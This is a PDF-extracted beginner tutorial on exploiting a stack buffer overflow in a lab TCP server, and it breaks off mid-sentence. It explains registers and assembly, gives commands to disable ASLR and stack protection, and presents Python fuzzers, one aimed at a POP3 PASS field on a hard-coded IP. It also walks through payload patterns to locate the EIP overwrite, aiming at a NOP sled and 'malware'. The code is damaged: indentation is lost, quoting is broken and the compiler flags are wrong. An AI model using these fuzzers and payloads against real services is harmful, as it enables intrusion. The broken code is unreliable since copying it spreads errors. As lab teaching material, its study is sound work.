3. Heap:		All	the	dynamically	allocated	memory	resides	here.	Whenever	we	use		malloc		to	get	memory	dynamically,	it	is	
allocated	from	the	heap.	The	heap	grows	upwards	in	memory(from	lower	to	higher	memory	addresses)	as	more	and	more	
memory	is	required.	

4. Uninitialized	data(Bss	Segment):		All	the	uninitialized	data	is	stored	here.	This	consists	of	all	global	and	static	variables	
which	are	not	initialized	by	the	programmer.	The	kernel	initializes	them	to	arithmetic	0	by	default.	

5. Initialized	data(Data	Segment):		All	the	initialized	data	is	stored	here.	This	constists	of	all	global	and	static	variables	which	
are	initialised	by	the	programmer.	

6. Text:		This	is	the	section	where	the	executable	code	is	stored.	The		loader		loads	instructions	from	here	and	executes	them.	It	
is	often	read	only	



	

Memory	Architecture	

	
	
	
	
	
	
Registers	&	“The	Stack”	…	aka	scary	stuff		
	
You	likely	already	know	that	computer	processor	operations	mostly	involve	processing	data	that	you	provide	it.	
However,	to	process	your	data	the	computer	needs	to	store	data	and	access	it.	Data	can	be	stored	on	disk,	stored	in	
memory	or	stored	in	CPU	memory	for	example.		
	
However,	reading	data	disk,	from	RAM	and	all	the	IO	associated	with	getting	data	into	memory	slows	down	the	
processing.	All	the	operations	to	move	data	round	basically	involves	complicated	processes	of	sending	the	data	request	
across	the	computer’s	control	bus	and	into	the	memory	storage	unit	(MSU)	and	getting	the	data	through	the	same	
channel.	
	
To	speed	up	the	processor	operations,	the	processor	is	built	with	some	internal	memory	storage	locations,	called	
registers.		Registers	store	dynamic	variables,	operations	to	perform	calculations	and	instructions	to	tell	the	CPU	what	
to	do	next.			This	is	“The	Stack”.		
	
“The	registers	store	data	elements	for	processing	without	having	to	access	the	memory.	A	limited	number	of	registers	
are	built	into	the	processor	chip.”	
	
Basically	registers	are	where	you	put	important	stuff	that	needs	to	be	processed	by	the	CPU.	What	does	that	mean?	
Adding,	subtracting,	or	whatever	you	need	to	do	to	create	or	display	“stuff”	in	your	program.	Let’s	dig	into	the	messy	



details,	it	won;t	be	funny,	you’ll	need	to	re-read	and	after	reading	a	few	times	don’t	be	afraid	that	you	don’t	remember	
it	all.	Just	bust	open	a	debugger	and	start	tinkering	around.		
	
	
Processor	Registers	
	
We’re	going	to	focus	on	32	bit	operating	system.	There	are	ten	32-bit	and	six	16-bit	processor	registers	in	IA-32	
architecture.	The	registers	are	grouped	into	three	categories	−	
	

● General	registers	
● Control	registers	
● Segment	registers	

	
The	general	registers	are	further	divided	into	the	following	groups	
	

● Data	registers,	
● Pointer	registers	
● Index	registers	
● Data	Registers	

	
	
	
Data	Registers		
	
Four	32-bit	data	registers		are	used	for	arithmetic,	logical,	and	other	operations.	These	32-bit	registers	can	be	used	
in	three	ways.	Remember		X		for	data,	regardless	of	32	or	64	bit.		
	

1.) As	complete	32-bit		data	registers	:	EA	X	,	EB	X	,	ECX,	ED	X	.	
2.) Lower	halves	of	the	32-bit	registers	can	be	used	as	four	16-bit	data	registers:	AX,	BX,	CX	and	DX.	
3.) Lower	and	higher	halves	of	the	above-mentioned	four	16-bit	registers	can	be	used	as	eight	8-bit	data	registers:	

AH,	AL,	BH,	BL,	CH,	CL,	DH,	and	DL.	
	
	

	
	
Some	of	these	data	registers	have	specific	use	in	arithmetical	operations.	

AX is the primary accumulator; it is used in input/output and most arithmetic instructions. For example, in	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

multiplication	operation,	one	operand	is	stored	in	EAX	or	AX	or	AL	register	according	to	the	size	of	the	operand.	

BX		is	known	as	the	base	register,	as	it	could	be	used	in	indexed	addressing.	

CX		is	known	as	the	count	register,	as	the	ECX,	CX	registers	store	the	loop	count	in	iterative	operations.	



DX is known as the data register. It is also used in input/output operations. It is also used with AX register along with	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

DX	for	multiply	and	divide	operations	involving	large	values.	

	
Point	Registers	(IP	is	super	important,	read	about	it	over	and	over	again	!!)	
	
The pointer registers are 32-bit EIP, ESP, and EBP registers and corresponding 16-bit right portions IP, SP, and BP.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

There	are	three	categories	of	pointer	registers.	

● Instruction Pointer (IP) − The 16-bit IP register stores the offset address of the next instruction to be	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

executed. IP in association with the CS register (as CS:IP) gives the complete address of the current	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

instruction in the code segment. NOTES!!! IP will control the next instruction executed … like say our	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

malware		

● Stack Pointer (SP) − The 16-bit SP register provides the offset value within the program stack. SP in	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

association with the SS register (SS:SP) refers to be current position of data or address within the program	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

stack. NOTES!! Might give you a reference point to look higher in memory to find our malware in	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

buffer	/	NOP	sled	addresses	

● Base Pointer (BP) − The 16-bit BP register mainly helps in referencing the parameter variables passed to a	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

subroutine. The address in SS register is combined with the offset in BP to get the location of the parameter.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

BP can also be combined with DI and SI as base register for special addressing. NOTES!! Base pointer	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

tracks the memory location between your Dynamic Variables and registers and your buffer etc. BP	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

is	a	good	reference	point	for	findings	memory	locations	up	into	registers	or	down	into	your	buffer.		

There’s also a lot of talk about assembly. At first glance when assembly is in the debugger it looks really complicated	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

and scary. Quite frankly, I still haven't mastered it but while you learn there are a few core concepts and operational	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

codes	to	start	with	that	most	overflows	tutorials	seem	to	include…..		

I’m going to list what might seem like some scary and complicated stuff but read it and then look at the pictures	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

following it, then go back and reread this section again…If you're not ready, jump into the picture directly at the end,	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

and	come	back	to	reading.		

Control	Flow	Instructions	

	
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

current	instruction	starts.		

Normally, it increments to point to the next instruction in memory begins after execution an instruction. The IP register cannot be	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

manipulated	directly		(But	it	can	be	overwritten)		,	but	is	updated	implicitly	by	provided	control	flow	instructions.	

We use the notation <label> to refer to labeled locations in the program text. Labels can be inserted anywhere in x86 assembly code	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

text	by	entering	a	label	name	followed	by	a	colon.	For	example,	

						mov	esi,	[ebp+8]	

						begin:	xor	ecx,	ecx	



							mov	eax,	[esi]	

The second instruction in this code fragment is labeled begin	. Elsewhere in the code, we can refer to the memory location that this	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

instruction is located at in memory using the more convenient symbolic name begin	. This label is just a convenient way of expressing	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

the	location	instead	of	its	32-bit	value.	

	

jmp		—	Jump	

Transfers program control flow to the instruction at the memory location indicated by the operand. You might use this to “Jump” into	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

a	memory	location	that	is	hosting	the	malware	

Syntax	

jmp	<label>	

Example	

jmp	begin			—	Jump	to	the	instruction	labeled		begin	.	

call	,		ret		—	Subroutine	call	and	return	

These instructions implement a subroutine call and return. The call instruction first pushes the current code location onto the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

hardware supported stack in memory (see the push instruction for details), and then performs an unconditional jump to the code	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

location indicated by the label operand. Unlike the simple jump instructions, the call instruction saves the location to return to when	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

the	subroutine	completes.	

The ret instruction implements a subroutine return mechanism. This instruction first pops a code location off the hardware supported	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

in-memory stack (see the pop instruction for details). It then performs an unconditional jump to the retrieved code location. A series of	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

instructions	that	end	in	RET	are	often	chained	together	to	bypass	stack	protections,	which	you	will	find	out	later.		

Syntax	

call	<label>	

ret	

Data	Movement	Instructions	

mov		—	Move	(Opcodes:	88,	89,	8A,	8B,	8C,	8E,	...)	

The mov instruction copies the data item referred to by its second operand (i.e. register contents, memory contents, or a constant value)	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

into the location referred to by its first operand (i.e. a register or memory). While register-to-register moves are possible, direct	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

memory-to-memory moves are not. In cases where memory transfers are desired, the source memory contents must first be loaded	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

into	a	register,	then	can	be	stored	to	the	destination	memory	address.	

Syntax	

mov	<reg>,<reg>	



mov	<reg>,<mem>	

mov	<mem>,<reg>	

mov	<reg>,<const>	

mov	<mem>,<const>	

Examples	

mov	eax,	ebx		—	copy	the	value	in	ebx	into	eax	

mov	byte	ptr	[var],	5		—	store	the	value	5	into	the	byte	at	location	var	

push		—	Push	stack	(Opcodes:	FF,	89,	8A,	8B,	8C,	8E,	...)	

The push instruction places its operand onto the top of the hardware supported stack in memory. Specifically, push first decrements	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

ESP by 4, then places its operand into the contents of the 32-bit location at address [ESP]. ESP (the stack pointer) is decremented by	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

push	since	the	x86	stack	grows	down	-	i.e.	the	stack	grows	from	high	addresses	to	lower	addresses.	

Syntax	

push	<reg32>	

push	<mem>	

push	<con32>	

Examples	

push	eax		—	push	eax	on	the	stack	

push	[var]		—	push	the	4	bytes	at	address		var		onto	the	stack	

pop		—	Pop	stack	

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (i.e.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

register or memory location). It first moves the 4 bytes located at memory location [SP] into the specified register or memory location,	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

and	then	increments		SP		by	4.	

Syntax	

pop	<reg32>	

pop	<mem>	

Examples	

pop	edi		—	pop	the	top	element	of	the	stack	into	EDI.	

pop	[ebx]		—	pop	the	top	element	of	the	stack	into	memory	at	the	four	bytes	starting	at	location	EBX.	

lea		—	Load	effective	address	



The lea instruction places the address specified by its second operand into the register specified by its first operand. Note, the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

contents of the memory location are not loaded, only the effective address is computed and placed into the register. This is useful for	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

obtaining	a	pointer	into	a	memory	region.	

Syntax	

lea	<reg32>,<mem>	

Examples	

lea	edi,	[ebx+4*esi]		—	the	quantity	EBX+4*ESI	is	placed	in	EDI.	

lea	eax,	[var]		—	the	value	in		var		is	placed	in	EAX.	

lea	eax,	[val]		—	the	value		val		is	placed	in	EAX.	

	

In this write up and many blogs, you’ll pay close attention to IP	, ESP and JMP in the vulnerable program. However the other assembly	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques. So	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

let’s summarize all this into a simple picture. I found this while watching a Youtube video by ComputerPhile. I thought it summarized	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

everything	quite	nicely.		

	

	

On the left hand side, you have the storage location we discussed previously. For example, you have you “Stack” and “Heap” called out.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack. Say a math	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

function, parameters (i.e. your dynamic variables in code), your return address or Instruction Pointer IP. etc. etc. Okay, so to a noob,	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

maybe	this	doesn't	mean	a	lot	so	let’s	move	onto	some	more	visual	examples	first	before	we	talk	about	anymore	“code”.		

	

	

	

	



	

	

	

So	we	have	a	buffer	and	some	other	CPU	based	memory	spaces	for	those	registers	locations.	All	that	assembly	code	is	helping	us	add	

things	into	the	registry	location,	jump	to	new	functions	in	code,	take	things	out	and	do	mathematical	operations	for	your	functions	in	the	

higher	level	code.		

If	you	read	along,	other	parts	of	the	registry	are	used	for	storing	pointers	to	the	next	function,	program	or	data	in	our	buffer	etc.	In	this	

picture,	if	you	send	“Too	much	data”	to	the	program	and	your	program	has	no	bounds	checking	then	the	buffer	can	overflow	your	

instruction	pointer.	If	you	can	overwrite	an	instruction	pointer	(aka	IP/EIP)	with	the	memory	location	of	your	malware	then	you	can	trick	

the	program	into	executing	your	malware	with	the	programs	permissions.		

Overflow	the	Buffer,	Crash	into	the	Stack,	Write	a	Return	Address	into	EIP	that	points	back	to	your	malware	

	

	

	

	

	

	



Let’s	break	down	the	vulnerable	server	code	in	Assembly	to	better	understand	what’s	happening	when	we	fuzz	the	application	and	

overflow	with	a	bunch	of	A’s	and	B’s.	Type		objdump	-d	VulnerableServer	

	

1. The	address	of		vulnRead		starts	at	memory	address		78d		in	hex.	

2. x414		in	hex	or		1044	in	decimal	bytes		are	reserved	for	the	local	variables.	Because	of	#include	BUFFER_SIZE	=	1024	a	large	

is	allocated	as	a	local	variable.		

791: 81	ec	14	04	00	00	 sub				$0x414,%esp	

3. The	address	of	the	buffer	starts	0x410	in	hex	or		1040	in	decimal		bytes	from	base-pointer		ebp	.	This	means	that	1040	bytes	are	

reserved	for		buffer		but	remember	that		BUFFER_SIZE	=	1024	

8d	85	f0	fb	ff	ff	 lea				-0x410(%ebp),%eax	

4. Memory	locations	seem	to	be	adding	and	subtracting	based	on	space	needed	to	store	different	operations	and	memory	

locations.	Until	finally,		

5. Later	-0x40c(%ebp),%eax	or		1036	are	reserved	and	at	memory	location	7e6		we	see	a		call		to	550		<read@plt>	

	

#define	BUFFER_SIZE	1024	

#define	HEADER_SIZE	4	

EIP		
(Return	Address	to	next	function)	

EBP	of	Vuln_Read		(Base	Pointer)	

to_read	

buffer	

read_bytes	

Last	variable		(Stack	Pointer)	

	
	

So,	1040	byte	of	memory	was	allocated	and	the	stack	grows	down	from	EBP.	Some	assembly	operations	occur	and	variables	are	stored	

and	pointers	and	updated	and	the	memory	grows	and	shrinks.		Without	being	an	assembly	genius,			we	see	the	specific	function	



(	read@plt)			with	the	vulnerability	called		and	can	infer	that	the		buffer	allocation	before		that	is	used	for	the	function	call.	In	this	case		1036	

available	bytes.	Let’s	break	that	down.		

1036	bytes	for	the	buffer	+	4	bytes	for	EBP	+	4	bytes	for	EIP	(Instruction	Pointer)	

	

Another	important	piece	of	the	puzzle	is	to	“Find”	the	code	that	you	just	put	into	the	buffer.	In	our	example,	that	will	be	a	bunch	of	A’s	

that	we	use	during	fuzzing.	However,	as	we	progress	the	A’s	will	get	replaced	with	malware	because	a	bunch	of	A’s	aren't	that	useful	

outside	the	context	of	learning.		

After	we	find	the	code,	we	want	to	be	sure	that	the	computer	will	“move-along”	until	it	gets	to	whatever	data	we	put	into	the	buffer.	The	

reason	for	this,	is	because	knowing	“exactly”	where	the	computer	puts	our	A’s,	B’s	and	C’s	is	hard.	We	might	overwrite	all	those	“A’s”,	

“B’s”	and	“C’s”	but	finding	the	exact	memory	location	the	computer	decides	to	put	them	in	is	not	always	viable	because	memory	

locations	move	around	a	bit.	Plus	we	want	to	make	sure	that	the	computer	doesn’t	exit	or	terminate	execution	before	it	gets	to	the	B’s	or	

later	our	“malware”.		

The	most	basic	technique	to	address	this	is	with	x\90	NOP	(no	operation).	We	replace	our	A’s	(x\41),	with	x\90	and	that	tells	the	

computer	to	just	“move	along”	until	you	get	to	the	next	instruction.	As	a	noob,	it	gives	us	a	big	landing	pad	to	find.	Look	below	at	the	

picture	above	and	you’ll	see	an	arrow	that	points	back	to	the	“Buffer”	with	a	bunch	of	x\90s.	This	means	we	will	put	an	instruction	into	

IP/EIP	that	returns	the	computer	back	to	the	buffer	and	the	RETURN	will	land	into	a	bunch	of	NOPS	and	then	slide	down	into	the	B’s	in	

our	program.	

The	following	two	pictures	really	put	everything	into	perspective	for	me	...ignore	the	buffer	size	numbers..	

	

	

	



	

Enough	theory,	show	me	The	Code		

Disabling	DEP/ASLR	

You	must	disable	ASLR	and	DEP	on	a	lab	machine	to	learn	the	basic	buffer	overflow		

ASLR	-	Linux		

echo	0	|	sudo	tee	/proc/sys/kernel/randomize_va_space	
	
DEP	
	
Passed	as	command	line	argument	in	Makefile	or	at	gcc	command	line		
	

-fstack-protector	
-Wa	execstack	
	

	
On	a	x86	linux	architecture	with	DEP/ASLR	disabled…	
	
	
Let’s	give	it	a	shot,	first	we’ll	run	the	vulnerable	server	PoC	within	GDB.		

	
#	compiles	the	vulnerable	C	program	with	a	number	of	protections	removed	
	
#	Disabling		-fstack-protector		removes	some	modern	protection	against	overwriting	the	instruction	pointer.	Let’s	defer	
until	later.		
	
#	execstack	will	mark	binary	or	shared	library	as	requiring	executable	stac	k	
	
Makefile	all	
	
or	

	
gcc	-g	vulnServer.c	-fno-stack-protector	-z	-Wa	execstack	-o	Server	
	
gdb	./Server	1337	
	
	
	

						 	
	
	
	
	
	
	
	
	



	
	
Okay	so	the	vulnerable	TCP	server	is	loaded	into	GDB.	GDB	is	a	debugger	to	give	as	access	into	the	memory,	registers,	assembly	etc.	
etc.	If	you're	familiar	with	web	development	like	I	was	the	concept	of	setting	breakpoints	at	different	moments	in	the	code	was	very	
familiar.	It	seems	intimidating	but	a	really	good	cheat	sheet	is	here.		
	

GDB	Cheat	Sheet	
	

	https://www.cheatography.com/fristle/cheat-sheets/closed-source-debugging-with-gdb/	
	
	
From	the	terminal	type		
	

run	1337		
	

	
	
	
Now	it’s	time	to	“Fuzz”.	We	already	went	through	some	theory	and	rationale	before	but	it	wasn’t	described	in	and	end-to-end	type	of	
context.	A		refresher	…	
	
	
“Fuzz	testing	or	Fuzzing	is	a	Black	Box	software	testing	technique,	which	basically	consists	in	finding	implementation	bugs	using	
malformed/semi-malformed	data	injection	in	an	automated	fashion”	
	
“You	can	either	throw	a	bunch	of	garbage	at	the	program	or	you	can	understand	what	the	code	is	expecting”		
	
If	you	remember	I	provided	some	simple	commands	to	illustrate	the	example.	For	this	application,	we	can	do	it	
completely	hands	on.		
	
python	-c	'print	"\x41"*overflow'	
python	-c	'print	"\x41"*[offset]'	+	"\x42"*[4]'	+	"\x43"*[Overflow-offset-4]'	
python	-c	'print	"\x90"*[offset]'	+	"Instruction	Pointer"*[4]'	+	"\x90"*[Overflow-offset-4]'	
	
So	we	could	approach	this	a	couple	of	ways.		
	

1. Go	back	into	the	reversed	engineered	binaries	and	try	to	determine	what	our	buffer	size	is	through	the	source	
code	and	assembly		

2. Run	the	program	through	threw	GDB	and	set	breakpoints	and	find	ops-code	that	indicate	BUFFER	variable	size		
3. Write	an	iterative	fuzzing	script	to	find	the	overflow	point		

	
	
Writing	the	fuzzing	script	was	the	best	learning	exercise	for	me.	So	we’re	going	to	cover	that	here	quickly.	Let’s	start	
with	generating	a	bunch	of	data	with	the	command	below.	I’m	going	to	just	increase	the	number	of	As	by	10	three	
times.	 	
	
Example:	python	-c	'print	"\x41"*overflow'	
	
python	-c	'print	"\x41"*10	'	
python	-c	'print	"\x41"*20	'	
python	-c	'print	"\x41"*30	'	
	
	

https://www.cheatography.com/fristle/cheat-sheets/closed-source-debugging-with-gdb/


	
	
All	we’re	doing	is	creating	a	bunch	of	A’s.	We	do	this	because	we	don’t	know	the	magic	number	of	bytes	where	our	attack	payload	will	
result	in	an	overflow.	That’s	the	fuzz.	We	will	need	to	modify	the	basic	python	fuzzing	example	to	fit	the	unique	“pre-fix”	that	is	built	into	
the	vulnerable	server	logic.		
	
	
We	will		reuse		the		BLACK		parts	of	the	codes	logic	below	and	copy	into	the		client.py		script	...	
	
#!/usr/bin/python	
	
import	socket	
	
#	Create	an	array	of	buffers	with	A’s,	from	1	to	5900,	using		increments	of	200.	
#	Increments	of	200	are	arbitrary.	you	could	use	n++	if	you	want	to	wait	longer.	Whatever.		
	
buffer=["A"]	
counter=100	
while	len(buffer)	<=	30:	

buffer.append("A"*counter)		
counter=counter+200	

for	string	in	buffer:	
print	"Fuzzing	PASS	with	%s	bytes"	%	len(string)		
s=socket.socket(socket.AF_INET,	socket.SOCK_STREAM)		
connect=s.connect(('10.11.10.167',110))	
s.recv(1024)	
s.send('USER	test\r\n')	
s.recv(1024)	

s.send('PASS	'	+	string	+	'\r\n')		
s.send('QUIT\r\n')	
s.close()	
	
	
	
First	let’s	create		copy	of	the	original	client	source	code	...	
	
cp	client.py	clientPoC.py	
	
Now	let’s	make	the	following	changes	to	clientPoC.py…	
	 	
#!/usr/bin/python	
	
import	socket	
import	struct	
import	sys	
	
if	len(sys.argv)	!=	2:	
				print	"Usage:	"	+	sys.argv[0]	+	"	[port]"	
				sys.exit(1)	
	



MESSAGE="A"	
	
while	len(MESSAGE)	<=	1000000:		#		may	need	to	be	increased	based	on	your	target	buffer	size		

DEST_IP	=	'127.0.0.1'		#	host	your	vulnPrograms	is	listening	on		
DEST_PORT	=	int(sys.argv[1])	
counter=100	

								MESSAGE	+=	("A"	*	counter)		#	increasing	the	fuzz	payload	of	A's.		
counter=counter+100		#	100	here	is	arbitrary,	smaller	will	be	more	accurate	but	take	longer.	

								print("length	of	fuzz	overflow	is	")	
print(len(MESSAGE))		#	For	educational	purposes		

	
for	string	in	MESSAGE:	

def	convert(MESSAGE):	
raw	=	''	
raw	+=	struct.pack("<I",	len(MESSAGE))		#	Server	expects	a	"pre-fix"	telling	you	the	buffer		size	
raw	+=	MESSAGE	
return	raw	

								#	print(convert(MESSAGE))#	test	purposes		
s	=	socket.socket(socket.AF_INET,	socket.SOCK_STREAM)	
s.connect((DEST_IP,	DEST_PORT))	
s.send(convert(MESSAGE))	
data	=	s.recv(1024)	

s.close()	
	
print	"Received	data:	",	data	
	
	
	
Let’s	run	the	python	client.py	script	and	the	vulnerable	C	tcp	server.	We’ll	see	that	the	python	script	will	act	as	expected	and	begin	
iterating	through	the	while	loop	and	increasing	the	number	of	A’s.	I’ve	included	a	print()	so	you	can	watch	the	A’s	grow	as	the	client	runs.		
	
If	you	run	the	client	terminal	and	the	server	terminal	side	by	side	you’ll	be	able	to	compare	the	client	payload	being	sent	to	the	payload	
being	received	by	the	vulnerable	tcp	server.		
	

	
	

	
Hopefully	you	run	the	attack	against	you’re	vulnerable	tcp	server	while	in	EDB	mode.	You’ll	notice	a	SIGSEGV	error	at	byte	length	of	
1101.	A	SIGSEV	(segmentation	fault)	or	access	violation	is	a	fault,	or	failure	condition,	is	typically	raised	by	hardware	as	a		memory	
protection	mechanism	when	your	program	attempts	to	access	a	memory	location	that	either	does	not	exist	or	that	your	program	is	not	
allowed	to	access.	In	this	case,	we	overwrote	our	EIP	(instruction	pointer)	with	a	memory	location	of	0x4141414,	or	in	other	words,	four	
A’s.		
	



	
	
The	next	part	is	critical,	and	I	overlooked	it	the	first	few	times	I	was	trying	to	understand	how	the	stack	buffer	relates	to	the	registers.	At	
1101	bytes	the	program	crashes.	However,		we	don’t	know	how	far	into	the	register	we	wrote	our	A’s	.	Because	this	is	open	source	
code,	we	know	that	the	buffer	was	1024	bytes	and	we	wrote	out	1101	bytes,	so	it’s	likely	we	overwrite	77	bytes	worth	of	space	over	our	
registers.		
	

	
	
	
Why	do	we	care?	We	want	to	modify	our	instruction	pointer	or	EIP	in	x86.	If	we	can	precisely	overwrite	EIP	with	the	memory	location	of	
our	program	then	we	can	trick	the	CPU	into	executing	our	malicious	code.	To	illustrate,	I	drew	an	X	through	the	return	array	back	into	our	
before	because	we	only	have	a	bunch	of	A’s	in	there.	Let’s	say	we	want	to	write	4	B’s	in	the	4	byte	space	in	the	return	pointer.	The	B’s	
(\x42)	are	arbitrary	and	only	used	to	illustrate	the	point.	If	we	want	to	write	B’s	to	a	specific	register	then	we	need	to	figure	out	the	exact	
number	of	bytes	to	stop	writing	A’s	and	start	writing	B’s.		
	
Manual	binary	tree	analysis	is	the	best	for	a	beginner	in	my	opinion.	Mainly	because	you’ll	need	to	manually	work	your	way	through	the	
byte	size	lengths,	making	educated	guesses	while	at	the	same	time	looking	at	the	registers	and	“visualizing”	how	it	all	works.		
	

	
	
	
	
	



So,	if	we	have	a	crash	at	let’s	say	1100.	We	can	split	the	number	of	A’s	and	B’s	into	550.	Doing	this	manually	just	for	kicks..	
	
python	-c	'print	"\x41"*550	+	"\x42"*550'	
	

	
	
Let’s	use	the	original	client.py	(not	the	fuzzer)	and	replace	the	“HELLO”	message	with	our	new	buffer	we	just	created.	Restart	the	
vulnerable	tcp	application	in	GDB	and	run	the	client.py	with	our	A	and	B’s	buffer.	Putting	the	application	side-by-side	we	see	that	1100	
byte	were	sent	half	As	and	half	B’s.	However,	this	time	the	SIGSEGV	shows	that	our	instruction	pointer	was	overwritten	with	B’s	(x\42).		
	

	
	
Let’s	take	our	first	look	into	the	registers	to	see	what’s	going	on.	Type	“info	all-registers”	
	

	
	
Each	time	you	run	through	the	binary	tree	/	create		new	buffer	make	sure	you	look	into	the	registers.	The	output	shows	us	that	our	
overflow	is	in	our	B’s	because	we	see	\x42	has	overwritten	some	of	the	data	registers	and	the	pointer	registers	(	X	)	is	data	and	(	P	)	is	
pointer	by	the	way.		(-8	
	
Now	we	need	to	go	farther	down	the	binary	tree	to	find	the	exact	location	to	write	only	4	bytes	of	Bs	(\x42s).	So	we’ll	modify	our	buffer	to	
include	some	C’s.	We’ll	divide	1100/3	=	and	approximate	366	+	366	+	368	
	
python	-c	'print	"\x41"*366	+	"\x42"*366	+	"\x43"*368'	
	



	
	

Let’s	update	the	original	client.py	script	again	with	our	new	buffer	and	run	the	attack	against	the	vulnerable	server	in	the	EDB.	By	the	
way,	I	found	VIM	to	be	far	superior	for	replacing	large	buffer	size	words	all	at	once	and	navigating	back	and	forth	to	the	beginning	and	
end	of	line.	(-8	…	after	fat	thumbing	it	a	few	times	we	place	the	client	and	the	server	side-by-side	and	observe	what	happened.		
	

	
	
This	time	the	SIGSEGV	shows	that	our	instruction	pointer	was	overwritten	with	C’s	(x\43).		
The	output	shows	us	that	our	overflow	is	in	our	C’s	because	we	see	\x43	has	overwritten	some	of	the	data	registers	and	the	pointer	
registers	(X)	is	data	and	(P)	is	pointer	by	the	way.		
	

	
	
We	can	say	the	results	of	this	make	sense	because	we	have	the	source	code.	We	know	that	the	buffer	is	allocated	1024	bytes	as	a	
pre-processor	instruction.	At	this	point,	our	A’s	and	B’s	only	equal	a	total	of	366+366=	732	bytes.	Not	enough	to	overflow	the	1024	but	
another	386	is	enough	to	crash	into	the	stack’s	registers.	Let’s	keep	going.	We’ll	divide	the	C’s	up	next,	update	our	client	buffer	and	
retest	the	program	in	EDB.		
	
python	-c	'print	"\x41"*366	+	"\x42"*366	+	"\x43"*184	+	"\x44"*184	'	
	
This	time,	we	see	the	fault	occurs	in	the	D’s	wich	means	we	are	getting	very	close.	Since	we’re	on	the	right	track	and	know	we	need	to	
get	down	into	only	4	bytes,	let’s	break	the	D’s	down	further.		
	
	
	
	
	
	



	
python	-c	'print	"\x41"*366	+	"\x42"*366	+	"\x43"*184	+	"\x44"*62	+	"\x45"*62	+	"\x46"*62	'	
	

	
	
At	this	point,	I’m	getting	tired	and	this	is	getting	old	but	we	know	the	overflow	is	somewhere	in	the	last	62	bytes.	So	
let’s	pause,	and	ask	ourselves	how	could	we	have	done	this	faster.	We	remember	our	iterator	in	the	fuzzer.	There	was	
a	reason	why	I	printed	the	byte	size	length	to	screen.	Let’s	go	back	to	a	picture	of	our	fuzzer.		
	

	
	
So	between	1000	and	1100	the	overflow	occurs.	For	fast	results,	we	could	repeat	the	binary	tree	analysis	where	on	the	
last	100	bytes	….	
	

python	-c	'print	"\x41"*1000	+	"\x42"*25	+	"\x43"*25	+	"\x44"*25	+	"\x45"*25	'	
	

	

That was much faster. In one run, we already know that the overflow falls somewhere within the C’s or x43s. That could be anywhere	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

up to 1050 bytes. This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

might	get	overwritten	before	our	code	makes	it’s	way	to	the	instruction	pointer.	Let’s	break	down	those	25	C’s	into	8	C’s,8	D’s,9	E’s	.		

python	-c	'print	"\x41"*1000	+	"\x42"*25	+	"\x43"*	8		+	"\x44"*	8		+	"\x45"*	9		'	
	



	

Now our fault occurs in our E’s or x45’s. Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

